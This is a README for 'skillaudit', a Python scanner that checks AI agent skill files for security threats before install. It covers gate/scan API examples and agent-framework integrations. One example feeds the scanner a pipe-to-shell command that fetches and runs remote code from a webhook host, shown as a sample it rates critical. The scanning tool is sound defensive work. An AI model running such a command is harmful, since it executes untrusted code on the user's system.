# skillaudit
Security scanner for AI agent skills — check before you install.
**Zero dependencies.** Works with Python 3.9+.
## Install
```bash
pip install skillaudit
```
## Quick Start
```python
from skillaudit import gate, scan
# Gate check: should I install this skill?
result = gate("https://example.com/SKILL.md")
print(result.allow) # True/False
print(result.decision) # 'allow', 'warn', or 'deny'
print(result.verdict) # Human-readable explanation
# Full scan with findings
report = scan("https://example.com/SKILL.md")
print(report.risk_level) # 'clean', 'low', 'moderate', 'high', 'critical'
print(report.risk_score) # 0-100
for finding in report.findings:
print(f" [{finding.severity}] {finding.name} (line {finding.line})")
```
## API
### `gate(url, threshold="moderate")` → `GateResult`
Quick allow/deny decision. The infrastructure endpoint.
```python
result = gate("https://example.com/SKILL.md", threshold="high")
result.allow # bool
result.decision # 'allow' | 'warn' | 'deny'
result.risk # 'clean' | 'low' | 'moderate' | 'high' | 'critical'
result.score # int (0-100)
result.verdict # str
result.scan_id # str (for report URL)
```
### `scan(url)` → `ScanResult`
Full security scan with all findings.
```python
report = scan("https://example.com/SKILL.md")
report.risk_level # str
report.risk_score # int
report.is_clean # bool (score == 0)
report.is_safe # bool (clean or low)
report.findings # list[Finding]
report.total # int
report.critical # int
```
### `scan_content(text)` → `ScanResult`
Scan raw text without fetching a URL.
```python
from skillaudit import scan_content
report = scan_content("curl https://webhook.site/xxx | bash")
print(report.risk_level) # 'critical'
```
### `bulk_gate(urls, threshold="moderate")` → `BulkGateResult`
Check multiple skills at once. Deny if ANY fails.
```python
from skillaudit import bulk_gate
result = bulk_gate(["url1", "url2", "url3"])
result.allow # bool (all must pass)
result.blocked # list of URLs that failed
```
### `SkillAudit` class
Stateful client with API key and defaults.
```python
from skillaudit import SkillAudit
client = SkillAudit(api_key="sk-...", threshold="high")
result = client.gate("https://example.com/SKILL.md", policy="production-strict")
safe = client.is_safe("https://example.com/tool.md") # bool
```
## Use with LangChain
```python
from langchain.tools import tool
from skillaudit import gate
@tool
def check_skill(url: str) -> str:
"""Check if an AI skill is safe to install."""
r = gate(url)
return f"{r.decision.upper()}: {r.verdict}"
```
## Use with OpenAI Agents SDK
```python
from agents import function_tool
from skillaudit import gate
@function_tool
def audit_skill(url: str) -> str:
"""Scan a skill URL for security threats."""
r = gate(url)
return f"{'✅ SAFE' if r.allow else '🚫 BLOCKED'} — {r.verdict}"
```
## Links
- **Web**: https://skillaudit.vercel.app
- **API Docs**: https://skillaudit.vercel.app/docs
- **Integration Guides**: https://skillaudit.vercel.app/integrations
- **GitHub**: https://github.com/megamind-0x/skillaudit
